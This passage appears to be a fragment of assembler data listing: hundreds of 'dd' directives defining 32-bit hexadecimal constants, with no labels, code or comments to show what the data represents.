3600F9DEh, 0E4DC1805h, 3B040681h, 8AC63D7h, 4021456Eh dd 0C70EDC43h, 0D43C0333h, 74667591h, 0D264B801h, 0CF5682FDh dd 0B08363C0h, 0B86500EFh, 27C62DBBh, 7B00919Eh, 0E3D3CE10h dd 3CC1D134h, 0E100B747h, 21F51328h, 0E9006E4Dh, 0F8030E63h dd 2E23722h, 0AD7AE43Ah, 0CA40A1B5h, 4B00ECACh, 0A60F6C8Bh dd 0E5DC67h, 0E440091Fh, 0A825B803h, 0C75A0B00h, 0A614B0CCh dd 0E3725C46h, 0E7172203h, 0F0CF1FE2h, 56665485h, 2787061Eh dd 0E8BF3600h, 0E52F7Fh, 0C3730B8Eh, 0F15C6FFCh, 651ED0F8h dd 1EDD1663h, 55033000h, 0EF36D4Eh, 2FA4D3Bh, 7E5B4180h dd 7BE0014Fh, 4E1EC500h, 145235D6h, 54D106E6h, 10209DB5h dd 0F5049C54h, 28258631h, 7A70C6CCh, 9DE3003Ah, 5895133Ch dd 731FD98Ah, 7580F52Fh, 87CC41F2h, 28406230h, 0C3213781h dd 8A0272FFh, 88337F10h, 9A883BC5h, 1653080Eh, 314256F5h dd 212922AFh, 10D30A23h, 1E775279h, 86405488h, 0B93371DFh dd 0F4FB0050h, 3F2453DEh, 0CF7B19AFh, 51226D00h, 43853025h dd 18F306C8h, 0F4FDD55Ah, 0F96E7D00h, 6DB70D0Bh, 880C0082h dd 0B1715FFCh, 6A006026h, 2C1C5303h, 18DFB02h, 0AC519CDBh dd 308F5254h, 1A00E440h, 5A157C0Dh, 31CB94h, 6692AE1Ch dd 0BA9CD111h, 7FF7C003h, 70D43A0Eh, 0CF7F96h, 3E5E86Ch dd 98A6474Fh, 0D722BA01h, 0C8D1EA57h, 878DC850h, 4B130034h dd 3F2B21AFh, 0F47BFF60h, 0E000C47Ch, 0FA6D063Ah, 3F9EED7h dd 0D392DD0Ah, 0CA976A0h, 77A7F451h, 1501ED5Ch, 0F47C45h dd 0E9D17199h, 3449EB6h, 11CA7983h, 5AE887B4h, 8B00F47Ah dd 4C2F29A8h, 6B036Ch, 90CE0201h, 0A2CB2D54h, 307F580Bh dd 80EF427Eh, 6421B972h, 8A55000Fh, 4A8D869Dh, 2F04D2D9h dd 14B1E86Ah, 502014C7h, 1EB06F3h, 185BBDACh, 8E262F86h dd 0E101B8D8h, 0EC628459h, 0C630E8h, 85BF50A5h, 82C488E5h dd 0BB93D500h, 0B6104BB5h, 0E4FD3D2Bh, 0DCFBFE00h, 0F4145BBCh dd 5EB80700h, 0F7E1ACC1h, 9E9724D1h, 57C000A4h, 0CB0ED4BAh dd 6A922400h, 16DCB8AFh, 102A6080h, 0E42E0D97h, 4F03DF7Bh dd 3FEFD507h, 0FAAF83B1h, 32904089h, 1B67764h, 0A24D3D1Ah dd 0F1CAB3CDh, 3378E8F3h, 0B9819500h, 0EAC8834Ch, 2DC50082h dd 9C8E415Ah, 0D338337Ch, 58558BA4h, 46901A9h, 0DDC86E28h dd 0F860079Ah, 632F593Eh, 0EBF020F4h, 0C71DEC50h, 0B2C099F5h dd 0B559DC6Eh, 219760C0h, 3FB7BA83h, 0C4D1AC00h, 346C42B2h dd 0C98800CEh, 51CCEF39h, 0D90232DAh, 0F2EE33D6h, 0A65840ADh dd 0A27670h, 0D45D9005h, 7D43DAD5h, 7CCC1E01h, 175481F4h dd 0F1A1820h, 9D67FDF1h dd 0C0C15AA5h, 1B382D35h, 68C03F00h, 60565E1h, 0C8FD004Dh dd 69A555FAh, 0E7004EBCh, 528517D0h, 86A43Bh, 53B4D779h dd 2A250DFBh, 1375EA1Dh, 0F27873C2h, 0F07FC097h, 146D3DEEh dd 0DBEA3E03h, 0E5C05881h, 5B00A0FFh, 67D860B8h, 33970Ah dd 0F02E68CEh, 8B36862Ah, 0FC759000h, 96AF7458h, 945F02DEh dd 287B2991h, 0DCF06860h, 0E72BD91Ch, 0B8A19BC0h, 4B9CC4h dd 9711AADBh, 741477E1h, 6DBF8A05h, 1180100Ah, 0B213B1h dd 2EA8F5DDh, 22C1B365h, 0D5A4D904h, 18C10FA2h, 8EF8F9B7h dd 0E011EC1Fh, 0F44C0036h, 8A2C2B2Dh, 1B00EB07h, 76906557h dd 1592F9h, 78E19C73h, 63ACDCBBh, 28871734h, 959035C0h dd 0E8FE6F3h, 984BB7ECh, 70FCC5AAh, 6E00FE6Ch, 0FC055B72h dd 50FF418h, 5C94073Dh, 0E8B400F9h, 0BA4FA806h, 0D4882000h dd 0AE42DE78h, 0F438517Bh, 805DC3C4h, 0CE799417h, 34A84400h dd 69525F51h, 0C43F39CAh, 0A243E400h, 9955C795h, 0BC2E8700h dd 3450926Ch, 75E8796Eh, 567B00F5h, 96D36D8Fh, 0FC24B060h dd 2200952Ah, 4FE3F29h, 0EC9504C4h, 0C0B67343h, 0AEC20388h dd 0B3DA1500h, 0A1D633Ch, 1458980Ch, 0DC6E2F8Bh, 44D32Ah dd 1F826FE7h, 84F179A6h, 8D709F60h, 0A157CDh, 0FC18FFB3h dd 0A4196B3Fh, 0B49DC300h, 0EE73402Ah, 41B61F9Ch, 9125C73Bh dd 846FF00Ah, 6A12652Ch, 0F0005C23h, 6C55CD0Bh, 0CF181F94h dd 0A4101480h, 83811207h, 1F475044h, 8907C239h, 66EE054Dh dd 30CB2C60h, 3AE40041h, 0D7BFF8AEh, 0D6002351h, 0EE11F131h dd 0E0FA21h, 8BE34A8Ch, 840135E5h, 2AD2BF00h, 0AEF8A36Dh dd 0FA450016h, 0DB2CD2Dh, 250092ECh, 0D9037FBAh, 1408F6h dd 75693B17h, 0AFF5CECBh, 46730400h, 8090E20h, 1431035Fh dd 34DE6AC9h, 6DF08EA8h, 0EA930F07h, 0DFB0E3FFh, 1743A4h dd 0AB76711h, 3805D165h, 101AD400h, 0D0AB4D01h, 0E83B4880h dd 40EB8401h, 0F19AD709h, 0CC8DCE7h, 0EFB5F700h, 9C8CA722h dd 6EDA0E54h, 66606008h, 9449D99Bh, 97DD2600h, 8693AFA8h dd 0D60600FCh, 64AE70BEh, 0E70EA41Fh, 0DF243DA5h, 31ACCE40h dd 566A7h, 231EADEDh, 378FBC5Fh, 0A22E4E00h, 86DD276Dh dd 0FF1A162Bh, 0C4B44013h, 0CBE399Ah, 247E141Dh, 84645880h dd 7447276Eh, 0F9180F85h, 4078F73Dh, 0AD987B45h, 8057A93Dh dd 0AFBEEA14h, 75C817h, 0A1430DD4h, 7985D750h, 0F310080Fh dd 8DA5074Ch, 32E467D0h, 17A30018h, 0DD21595Dh, 0C03D4B1h dd 268FF2A9h, 6BC18707h, 8330D5C9h, 0B2B10088h, 0E5AB9689h dd 55008705h, 1ADF9954h, 48D471h, 5045C0ACh, 0BCC84F78h dd 28645D0Eh, 0CA20F92Dh, 901D530h, 535B59BBh, 7A14DE80h dd 60BF632Ah, 0F5D335h, 9A6B7CCh, 0AD6A9CE1h, 550A800h dd 2F3DC530h, 0F89B5878h, 16ECA11h, 9FB91287h, 63CA6D8Ch dd 0A557D038h, 0DDD400ADh, 1E2949D2h, 0FC00BEA7h, 0B4C062E5h dd 7ECA70A3h, 0A259007Ah, 2F93696Ah, 4000BA6Dh, 9BB7EAEh dd 2447E779h, 7201AFDh, 907565E0h, 5948926Dh, 305E0A00h dd 0D3AFA51Bh, 34947Bh, 80AE1F8Bh, 0BFC23F2h, 960094E0h dd 8AF8CECh, 0E2D9A7Bh, 70FDA8DDh, 0C6EF420h, 0F6FA1661h dd 0A4605E00h, 0FD1258BEh, 3F190035h, 8FA72CA9h, 0BB0F9E30h dd 2E56D9h, 7C2A5D24h, 0B6E4005Fh, 7E22F60Ch, 4B008F95h dd 98F8FAE9h, 24799h, 913C186Bh, 5CA0837Fh, 4C170C90h dd 0BC002610h, 3DD5575Fh, 0B665397Dh, 0D6A08080h, 34DC0B9Fh dd 3126B701h, 0F86F2069h, 38CAF0h, 0A51C812Ah, 0C3FE411Fh dd 0A358AE00h, 8E970FDEh, 4B6E004Eh, 50E72C25h, 0D560B281h dd 0A507D14Eh, 587177h, 9112E621h, 3A56C01Bh, 54FE0C0Fh dd 574800C9h, 229A89h, 881058D2h, 8D734215h, 0C971C703h dd 0E0E47C1Ch, 589AEEh, 6EA6E870h, 9C6F17ADh, 480043FEh dd 0A7CA3521h, 48E869C4h, 770BFA86h, 0F28E3328h, 0D4F64940h dd 0FD00596Ch, 4B6DE91Fh, 0A089FEEAh, 0B12EB2h, 0E8293693h dd 6984F91Ch, 0A695B516h, 0A900541Fh, 5AB33D28h, 0C808001Ah dd 0B65E470h, 1D001387h, 0CC8BFA26h, 46F29h, 649852FBh dd 40D07115h, 2C00F2B8h, 9C2B73DCh, 2355E1Fh, 0F31C8FC1h dd 8AE07FB8h, 54B017AEh, 77989B0Ch, 14F029h, 20D35E92h dd 0CA08B2E6h, 0DD2FB800h, 0A545C90Bh, 7950C074h, 3F222359h dd 70194C00h, 5E786236h, 0BF860024h, 99728556h, 8403D00Eh dd 77D74BC2h, 71FFF0BAh, 2D2200F4h, 0BFAFE546h, 1D1CE79Eh dd 0CBC021D3h, 33827D56h, 260800D1h, 0C2DDDF1Ah, 97B89E9h dd 0B56C3Eh, 0F4513CD5h, 714F637h, 0BA3B5F12h, 0A9D4C0BCh dd 0B00042C4h, 249269B7h, 4C75CA1Ah, 34309FC8h, 0F4D96050h dd 8083993Ch, 7CA478CCh, 82F65Eh, 64A6470Eh, 3E95237Dh dd 0E8CFBD50h, 0FB90EC07h, 8A304ECFh, 28D9A4h, 87E6EEAEh dd 961E52F8h, 0A05F6600h, 7997F06Eh, 99050901h, 34004946h dd 0A252C52Fh, 0A598A538h, 0AFF41Ch, 0C777598Eh, 0A705CEACh dd 0C3167BF2h, 804CAF09h, 5B7F787Ch, 0A077E063h, 79EC93B5h dd 21010040h, 0F807DBB5h, 76008F58h, 7D41254Ah, 0E575A6h dd 7080EECDh, 0A47E6C56h, 353C1500h, 0C8616DC0h, 0EFFB0033h dd 0DECC3E82h, 860018FEh, 6A4D76E5h, 0FD06595h, 96A2A989h dd 432A3E82h, 0EB280440h, 72A01D48h, 8935BF0Eh, 4CDBC158h dd 0FAC05282h, 3E660006h, 5C5724A4h, 0EF00A326h, 16DFEEBBh dd 59D8E1h, 0AB85A517h, 0D7660A1Ah, 391EA400h, 7351CAD2h dd 0A41B60D4h, 7F8C15CEh, 0BC670213h, 69B46901h, 0E5F8FC5Dh dd 13225C89h, 68D91707h, 18BA0C1h, 0F612B0FEh, 0FF0079A0h dd 45F9929h, 3C56002Ah, 8257325Ch, 0B819C967h, 28C9DFF0h dd 75037B08h, 79CF9AABh, 4617E8Bh, 0BAD0CA94h, 0F77890DFh dd 91EC286Bh, 8FC85305h, 0F880F38Ch, 1EE045Ah, 4B25D975h dd 0F516F040h, 0B8D1D85Fh, 7109B432h, 891C004Ch, 873C649Eh dd 0D2528341h, 0C0C5C924h, 0E571ABCh, 995EB9D3h, 7D7703E0h dd 50012296h, 9CD92F30h, 28202D9Dh, 0DF5400B8h, 6E64E9BAh dd 5A005C69h, 3C2396E2h, 0F36A266h, 982FC4AEh, 0A04C8EC7h dd 0DE1AE5EBh, 5AE30507h, 3DC03CBAh, 0B85551ADh, 43AC5C4Eh dd 3DCBB84Eh, 7731009Ah, 4DB434D1h, 12921FC2h, 0E9C740DCh dd 94F86207h, 0FC66ED05h, 0DC00CAB3h, 0F288D7BBh, 747D0330h dd 0F19380FAh, 8EAE40CFh, 910363FDh, 31C628D8h, 8911000Eh dd 0F5A8D6C4h, 30FA82FAh, 54F3A700h, 17D7FD48h, 0DDB71824h dd 0CE5260A0h, 6B715B00h, 0E5015E4Bh, 4337264Fh, 0A1330088h dd 19D9E03Fh, 0F2C5B200h, 0D662FFC6h, 917F0090h, 0B3B7BF3h dd 2E0E1D0Eh, 0E0F5432Bh, 0E68ACE36h, 0EE5D7095h, 4B730327h dd 0CD2AE8A9h, 0F940CC00h, 0B5F56555h, 0E8E24C82h, 9880E63Fh dd 0A77707BDh, 0D1F46609h, 6492F500h, 0CCFDE353h, 0C88000A1h dd 28377E4Eh, 0B4740DA5h, 4048F600h, 0CCC39111h, 38190099h dd 9638F30h, 0E0136B47h, 1800FCF8h, 0EEFE104Fh, 0BC0D009Ch dd 0C7F10ED3h, 60131918h, 980F03B5h, 2D40FE86h, 8B256F77h dd 3F330036h, 58BD01C2h, 8100C004h, 0ECD8183Eh, 0DD97B1h dd 9DC6C31Dh, 123F0D40h, 695B300h, 0B82AEADBh, 7C214831h dd 0F3B22000h, 77CE40DAh, 924E1103h, 0F8B3DD03h, 939D868h dd 21F80A4Ch, 0A69EFC80h dd 7203C37Fh, 3009A489h, 75490060h, 0C92A3A5Dh, 9D1E07F7h dd 1792D6F3h, 0C2A30C00h, 39B64B08h, 3B867743h, 381E135Bh dd 0E3229F00h, 4256ADC9h, 127994h, 9073C602h, 0F3961F64h dd 35994704h, 548084F1h, 10E3BCFEh, 9114E5h, 6C48FA67h dd 0F9AAEB1h, 0BA83AF38h, 0B9B2BDE0h, 600C956h, 5A488A71h dd 0FD1C7DDh, 0AFF73768h, 6990F1A0h, 0A200D04Ch, 0EE1599E5h dd 138BE7h, 0C90DA7F5h, 19522D8Dh, 421F8900h, 0DA70C032h dd 0D375001Dh, 48CFFCC3h, 4F00DCCEh, 0A51EE1FDh, 0F28639h dd 6C01CCDAh, 0A4B07F1h, 91603Fh, 0E9D7EF7Eh, 4084F4h dd 2E5F8176h, 42C1393Ch, 681A4103h, 0B7884883h, 13B2B320h dd 0C0263393h, 0E6D811C8h, 2E00F184h, 6A8BB5B4h, 3BC3CA4Ch dd 3980D161h, 2BCCFB29h, 5C2E48C5h, 0C0009D08h, 0A464FA4Ch dd 0E4C8009Eh, 9D9AA112h, 1A7DBE85h, 2E24C500h, 0F3877584h dd 0CD860190h, 0B006D2C2h, 0B885F828h, 5A9F18C0h, 439E31h dd 0A91583F9h, 2AAC4F0Fh, 2C57AE00h, 0B428522Bh, 0BCEC009Eh dd 0F2546368h, 73987F53h, 0D700377Fh, 886F64D6h, 1367FA3Eh dd 45F5CCh, 0C60956F4h, 157470BDh, 22BE4100h, 0B31D380Fh dd 0E4E70002h, 2B17B5DDh, 9209317Bh, 0A0A07467h, 0CFADBAB4h dd 0C73900EAh, 26663602h, 5500FD3Dh, 49CC6A5Dh, 11EFBAh dd 539C6765h, 880D6C07h, 0C748B00h, 3FFB725Dh, 124EF650h dd 1C130BC7h, 0DD6801F1h, 0D4D8842Fh, 0FA0078BDh, 0E2FD9A4Ah dd 0F0CC69F6h, 0C07F03h, 7062D5DAh, 30F95993h, 0F1D7DE1Fh dd 67C9FD83h, 0D073E942h, 13F8E4D0h, 28D5E59Dh, 0AC09479Ch dd 8F200Ch, 0EFFEA370h, 0B550054Dh, 801BBA01h, 86925958h dd 54F220C3h, 0DCA1AFFCh, 44204B27h, 0EDEE16h, 6429AF09h dd 3D9D2D36h, 17468100h, 129548ABh, 243C49C9h, 0BC96F300h dd 57A95807h, 0E97CDF70h, 1D3C403Bh, 63801D34h, 0B3046EEFh dd 7C7B8CEh, 39546FD4h, 803E8489h, 77FF0EDCh, 69296300h dd 6053BD4Eh, 90EA0006h, 88655DF5h, 0D00BBC7h, 0FB9C3C9Ah dd 7F4203h, 0A68D4332h, 6C4EA1B8h, 0D1F35D00h, 0CFA9C112h dd 0CF4DCh, 6B64DFADh, 74DA3178h, 1D07E41Dh, 0FF348280h dd 0B5C8EF5h, 62E058C6h, 279D5100h, 0E803845Eh, 43F635C2h dd 0F8A29BEAh, 6EE5D1h, 3AE91471h, 0DCF4B4EBh, 95D8F000h dd 452A5B1Bh, 0CEA00B2h, 5E8330DAh, 6C00A8FAh, 2B8EAF35h dd 4EBCD9h, 677D01E8h, 40765DB5h, 63C89000h, 0CF34A6Eh dd 0A71D0FA4h, 0EA82EEDCh, 9E82D81Fh, 5FC09AD9h, 7074019h dd 42D1931Ah, 4466A5F0h, 0CE2400EBh, 0AC559599h, 3D0080A7h dd 5EF06CAh, 733AC693h, 45090154h, 0CCE738C4h, 0D08FE529h dd 7E3AAECBh, 843D001Dh, 7625E2A6h, 375700C8h, 0E92389CAh dd 0D01699Ah, 4AD4B9DDh, 0CD47408Fh, 19B692C0h, 0EF9C5C74h dd 0E1775900h, 5C21EB53h, 0F78E2700h, 0A53DF390h, 83053B1Dh dd 250DC604h, 20AC80D4h, 0A600CBE0h, 0B9DE7FE4h, 3C90A4h dd 0FE6834D2h, 0B40AE165h, 838CBA00h, 8F35753Fh, 1C360374h dd 42C2BDC5h, 150B66B8h, 0FD024300h, 29FF414Eh, 0FB034C79h dd 46B3EC01h, 0D8C0A49Dh, 0BE00DF1Ah, 1EF9D84Eh, 7DA7180Bh dd 2BC00E5h, 0DB4D2B1Fh, 1600E15Ah, 1CF23E2Ch, 0CD27EBh dd 5CA0A56Ch, 787CEF09h, 0E80041E0h, 593E7F2Dh, 0BD14A8Fh dd 859B616Ah, 97AA1B80h, 77009C51h, 52F39F8Ch, 9007E59Ah dd 54BC3AA8h, 172B4180h, 58BB13A5h, 2ABAD800h, 0F85D4561h dd 0BD752Eh, 3C34192Ch, 1E62AE9Bh, 0C30070DFh, 26A45475h dd 87C13FD4h, 11C5D106h, 9A3E201Fh, 3C9B004Eh, 0E4947A78h dd 135777F0h, 0FEBE7D51h, 8925B301h, 2AF88E96h, 0EEA512E1h dd 5D4840BAh, 0B7D1D288h, 0C7AE70Eh, 15B10019h, 0CC0190h dd 0B99257Ch, 0E6351D2Fh, 0DB1A7D14h, 0A6488120h, 21CC1F7Eh dd 0CF150A4h, 603E50AEh, 1986099Fh, 0BE80DDD9h, 8F41E2BAh dd 986D8500h, 618A2738h, 247002AEh, 6EBC7A2Fh, 0E08239E0h dd 342C9100h, 604D0E80h, 20A20014h, 980BC61Ah, 0A100F061h dd 41BC1E7Eh, 3B146AFh, 0AECA3CEEh, 1CB85B20h, 1E98420Eh dd 3AB50613h, 0FECD0FFAh, 0CB2B9100h, 42DE63A8h, 0FB6D780h dd 65BE04h, 9D90419Ah, 46DDA345h, 0B190ABE2h, 0C0090A00h dd 80A9CB3Eh, 430B009Bh, 68EE857Eh, 639DC34h, 0C2A48023h dd 811EB716h, 0EBB60B5Bh, 0AB80438Bh, 0AE8D108Ah, 2C90B850h dd 2F1A1E01h, 84B148F4h, 8B54ECh, 163CE778h, 4D7AE1DBh dd 3E2E83Ah, 0F6F96ADEh, 8E7DC067h, 869B007Eh, 3CE5AF0Ch dd 0BB1FD9A1h, 4E924D01h, 51FE241Ch, 468A1BCh, 0D6BA78D7h dd 66101665h, 1B520C80h, 0A706008Dh, 0E6C5F3CBh, 3309DF93h dd 9642BAh, 898E6672h, 0AA28C451h, 2E9042A5h, 214604DAh dd 5194FCC0h, 71814AEh, 9BAA5189h, 88B65788h, 0C840F572h dd 298A62CFh, 412298EEh, 0F3962299h, 24A69A22h, 0B2512192h dd 11F4FA11h, 0A1902F35h, 0B5108616h, 787E5029h, 29DE6448h dd 0E804237Ah, 208D2471h, 0D000A682h, 0B919DDA1h, 272EEh dd 883590ADh, 4D5EE651h, 8AA438h, 0C32C29CAh, 4E44AEh dd 383F4C4h, 0E822BE8Bh, 0AD904F00h, 713B596Ah, 289D0093h dd 4ED1107Dh, 5800771Fh, 0B6F973B0h, 22264Bh, 8D07E6FCh dd 7F28A8DEh, 310085B0h, 0C08F51EBh, 14E740h, 7EBC5058h dd 3D7863F5h, 0E553DA00h, 9756A9CEh, 720E00FDh, 2FFB6D12h dd 23009203h, 690F2170h, 0F00265B7h, 0FFE01D19h, 3EEBC09Bh dd 0A2582ABEh, 82AB8D09h, 6A1C236Dh, 4B3BB8B7h, 34E800F6h dd 0F804D7BAh, 5A004915h, 0D30CEF81h, 1F8FB5CAh, 837B6505h dd 995A23Bh, 1E518180h, 0B5008CE4h, 0F950B848h, 4D2EC0h dd 0A29775Bh, 0E088EE9h, 0CAF0EE00h, 4F7D2790h, 0E1A03E89h dd 0C55B7C02h, 0B06818FDh, 0C019D19h, 0DC8367C3h, 0C140A1CFh dd 5219E0Ah, 39783754h, 0F56EC348h, 0DF5FEBE9h, 1F3ABB98h dd 0DCB49D03h, 0AF6C3E4Ah, 0BCF7C730h, 0C69B00CAh, 25BD0372h dd 3203F935h, 0D273B5EBh, 9ED1C843h, 0B78600CDh, 11583851h dd 9400442Eh, 131E5BBCh, 7CD369B3h, 0C476006Bh, 448FB9D4h dd 382EFE0Fh, 19006883h, 0D3CDABC0h, 6CE50039h, 9447539Fh dd 0FA1FB11Dh, 6B838FEEh, 0F7757D25h, 0D08683h, 5BA47411h dd 0D4043A27h, 87AFE438h, 0D9D21E63h, 0FEEB7710h, 0FCAC00A8h dd 655DD1Ch, 9D031DCDh, 5F324080h, 6B34E0E7h, 0FA8F005Eh dd 84DF24F7h, 0EE00CF27h, 2686DD8Eh, 1C55AABFh, 85F172A7h dd 296D7Eh, 0A0CBDEFCh, 0CC017333h, 0DB2A4FC3h, 0A4702BA8h dd 8722Dh, 18FE6622h, 0FC5BC68h, 6780D60Fh, 0D409C061h dd 0CE8CCBh, 648FE9C6h, 65C08DC3h, 230083EAh, 2B9D1A95h dd 3979ACCFh, 888716FEh, 0F09AFCA4h, 0C9F6CC80h, 7C007AFAh dd 5C43B99h, 213D82Fh, 73D657E3h, 0BCC0DE85h, 4C3CA241h dd 1682809Ch, 54474E9Dh, 63AD000Dh, 40CFAA37h, 1500A102h dd 0D510E868h, 501AE0CEh, 992B04Dh, 4F8E7EB2h, 8AB85000h dd 2B49ED55h, 982E0058h, 8721966Bh, 0CCF809FFh, 0A4804CF7h dd 778BA0C5h, 0D2818800h, 0E05111C7h, 34E90033h, 1E373C78h dd 4601C8D7h, 211A3ED6h, 4CD80D9Ah, 47C00E7h, 0E9D02B11h dd 0AF0122DEh, 79180690h, 63F881ECh, 32BB0086h, 3744F6B2h dd 72043FACh, 2061799Ch dd 0D138BBE8h, 0B11E9201h, 7AE02B04h, 79D70101h, 35F43E12h dd 0D4A23BC1h, 0CE9B0070h, 3B979F4Eh, 84784085h, 0E59DF39h dd 0C0B9ECEEh, 12E7DF2h, 8207004Ch, 6CFB47E7h, 1812C58Fh dd 0BC40DA5Fh, 0A499683Bh, 70434C66h, 61A03D00h, 0E103BFD7h dd 5C78BE00h, 0BAC7945Eh, 0FE510002h, 0DBCA8A49h, 6700F280h dd 1836DF35h, 86E4B5h, 0E2B2D3DCh, 81BDA11Eh, 0FAAAAD0Fh dd 0EF05206Eh, 0ABB410h, 4BE9491Ch, 1257E578h, 0F902A874h dd 72A12EF4h, 0FB88603Dh, 0B4B70EB3h, 3AE307D9h, 70F0CE98h dd 0C2006F33h, 30E4F2EAh, 22744Ch, 0BC764893h, 0A0B2108Fh dd 8F8AB93Ch, 7A18D0Ch, 9A802264h, 0BD715Eh, 30659D59h dd 0EB2B7EC5h, 0DD2D4407h, 19505388h, 38BE9952h, 0C70A77CAh dd 7B13E39h, 9DF7238h, 80683204h, 7EBED89Dh, 60005175h dd 0A732E1DCh, 9E3ACFh, 0E4CB5076h, 0B6132E16h, 3CECEA00h dd 7488AC5Ch, 6F90777h, 80FCD629h, 24912BD0h, 6DAAB900h dd 7066C6D9h, 1D0FEA87h, 0C07CEDC4h, 55A072C7h, 5200C521h dd 1A46DEC0h, 24209402h, 405CDC3Dh, 0A85BCE79h, 2E0755ECh dd 0AA560929h, 0D0A03283h, 1C5BEF0h, 465E73A4h, 0EA9C1054h dd 78B0BA40h, 9ED22326h, 91DCC00h, 3C906BFAh, 0EB802E69h dd 6A801B0Eh, 61059F7Fh, 0FF55E37Ch, 0BFD21880h, 0EF260338h dd 51E52593h, 4A980493h, 0AD030CC9h, 2B3E6F6Bh, 0F950FF0Ah dd 1014B5Ah, 0E92E6E04h, 6FF15C5Dh, 0BD1A0h, 0E01EC6D3h dd 0A6D020B9h, 0BF1FCF00h, 0EE2315FEh, 1C6900CAh, 0A06F35Ah dd 2B00AEB2h, 58D2C42Eh, 2C94A3h, 3B088217h, 1A847E3Ah dd 0A073D000h, 0AD7C541Bh, 50560075h, 5214BF76h, 0B5000C2Ch dd 0B5AAB33h, 0EA73D1h, 46A5F3Ch, 658EBFEBh, 26AC3100h dd 0F605D47Dh, 0F50E03D8h, 867B1A7Eh, 807FD0BAh, 9E02CEB9h dd 41D0E77Fh, 0FA87EE8h, 67312815h, 0C205F1C0h, 9501AEDh dd 0FC005284h, 62D57CC9h, 0C690A4h, 9A75B61Ch, 0D6CD45D4h dd 27101A00h, 5EB406A8h, 0BBA91783h, 38280090h, 0DE1FD909h dd 8EC1810Bh, 8B2821A0h, 0F3F882ECh, 359A1372h, 0BF700050h dd 5206DEE1h, 61571002h, 4031FA70h, 44EA39h, 0B1EB6EDAh dd 0B4CFD94Bh, 0AB4A7800h, 0D149D387h, 7B180090h, 28C8CB26h dd 3B00D6F3h, 0CDEDF076h, 22F69Bh, 5CB71402h, 4829D279h dd 4050176Eh, 27B81DA3h, 0D48B007Ah, 0B5674A60h, 5200EFEEh dd 0AE227E47h, 0A2D5E0h, 6C84DE9Ah, 2F97FDC0h, 37BA7500h dd 420D8772h, 0FBB70C20h, 9858EF1Dh, 5D1C9AB8h, 1AC01636h dd 47D5F8CAh, 450C0093h, 0B656DDA9h, 0B20E793Dh, 0C4FFFA90h dd 67C008E0h, 0F6D1363h, 1D05420h, 7CC0716h, 7C67A245h dd 3E520C00h, 0B0988Bh, 3182EFC2h, 0A7952FCCh, 21396900h dd 7B62181Ah, 1E2379B9h, 0C0C5DED0h, 924524E1h, 0E639B752h dd 172D0098h, 73779F7h, 0D8F6694Dh, 5A612C10h, 0C91ED500h dd 89FD5545h, 0EE2516CEh, 0C02C1F3Ch, 0B9C87DCAh, 0D1009518h dd 7CC6EA1Ah, 3D02E0B2h, 6001D19h, 778734FEh, 0F92C4E8Ah dd 0CC07C408h, 3A901BDFh, 0DC0B5Eh, 15E74097h, 5A9BF4AAh dd 0DE4A6300h, 52ABAF96h, 0A967003Ch, 2099872h, 0AC0035C1h dd 0ECFC879Ah, 1DB3BEFFh, 0C324E5BDh, 0BFA6C668h, 852E7CD8h dd 10789400h, 886266Eh, 504A00F6h, 0D6DD847Dh, 0DE00B5C3h dd 144063F1h, 9AE88Eh, 0AADC0DC4h, 0B769431Ch, 0CDE39F00h dd 37803C35h, 959C039Ah, 0C4550F46h, 4BA0EAA3h, 0F93A48B6h dd 243D9747h, 0E71A5403h, 859FB850h, 9049EA77h, 4CF5180Ch dd 0FC67613h, 8FCA5A00h, 0AB91C21Bh, 18B400F2h, 21DB4971h dd 0B648D85Ch, 17740139h, 6B8C270Eh, 41DD5471h, 54602B31h dd 607D28h, 0F3E3AF87h, 434F3992h, 1738FFFEh, 219313FAh dd 0E016951Dh, 41684C00h, 0CF582Ah, 0DDAE2EBAh, 8CCE6985h dd 0B113000h, 0A6F57D84h, 36B800A3h, 0F8AAE697h, 761D406Dh dd 508EDC25h, 576A8091h, 53D493Bh, 0B0E612B1h, 1DBB804Ch dd 0A9001336h, 4DB53A1Bh, 77C26CA8h, 3949402h, 695C0354h dd 85F330C8h, 537FD0Ah, 1700B734h, 715F0F8Dh, 2B263DB7h dd 3F4BAF82h, 88E07A03h, 74002959h, 65EACB41h, 9898CE83h dd 7A4230D4h, 60865910h, 434DE601h, 0EB63FA81h, 23D51883h dd 8458647Ch, 0C7DA0898h, 22124Eh, 96BEFC3h, 4E903DCFh dd 3E25F100h, 925459DDh, 0A8580E90h, 0C6C09834h, 0E1D1FE41h dd 97123578h, 28C3774Ah, 0D57BF872h, 1D2E243h, 3EBF4D2Fh dd 70199F8Dh, 0B3006D4Dh, 0EC817D27h, 247564Ah, 0A7C55B74h dd 8C80E102h, 8BCECFA8h, 90A05425h, 0F540BCh, 0CE23979h dd 5A60D3FEh, 8D158600h, 5BAFBAD9h, 0AB9B001Ah, 0CFDE25BCh dd 722C6997h, 0EE0070B9h, 0A84FB3E7h, 0F77A0177h, 0A86045Bh dd 0C3C42488h, 0DCE7200Bh, 69248096h, 38A2A13Ch, 14005B8Fh dd 0B12AD24Dh, 0A3F403Dh, 14A3952h, 0D51BF478h, 0EA60B261h dd 71ED00DCh, 67FD5B7Dh, 11D6E6F7h, 88989A00h, 0F3AF77h dd 4890BED3h, 0E0DE3F7h, 8A049092h, 1CEFE48Fh, 400E88C7h dd 0C367CD5Fh, 258E009Ch, 392A5579h, 40A064BFh, 0D1002BA3h dd 0C9B02CBAh, 13D9448h, 0BF68CB53h, 60337D59h, 0D00C73Ch dd 0A8E0321Ah, 4B7941h, 85C191EEh, 51E92BB3h, 0EABDCB00h dd 0E777CF8Dh, 0AD8E2528h, 0A9A79C22h, 834BECE0h, 4480FB0Fh dd 85CA8885h, 805E8D53h, 19265A2Ah, 0F412A901h, 5D93DA78h dd 9850630h, 0E190FF0Fh, 0A362D880h, 9E28DB74h, 2B01F42Dh dd 5568B07Bh, 0A640FB17h, 0B1DA1Fh, 0DEDF6179h, 0CF10600Ch dd 0BDE6EE00h, 8FB50D92h, 1788006Ah, 3C0AAEE4h, 8B00B11Ch dd 0C41F4C84h, 0DE0547F3h, 3F17C0F8h, 741A57FEh, 8842CA00h dd 0B9760EC8h, 0EE020068h, 49434499h, 0B89EF885h, 0C910F901h dd 4BEC847Ah, 1D930FF7h, 73C280h, 58923C7Bh, 6800C781h dd 0B29E9965h, 0B52825h, 0EE1FB2Bh, 57365BE0h, 0C552F800h dd 0FEE230E8h, 0C11E09E3h, 0A040641Dh, 50CB1C80h, 0D7A88094h dd 1CB66845h, 0DEE4785Bh, 7280FF4Fh, 796282BBh, 0CA00381Ah dd 0E0E7046Eh, 2E0C65h, 0E6F63198h, 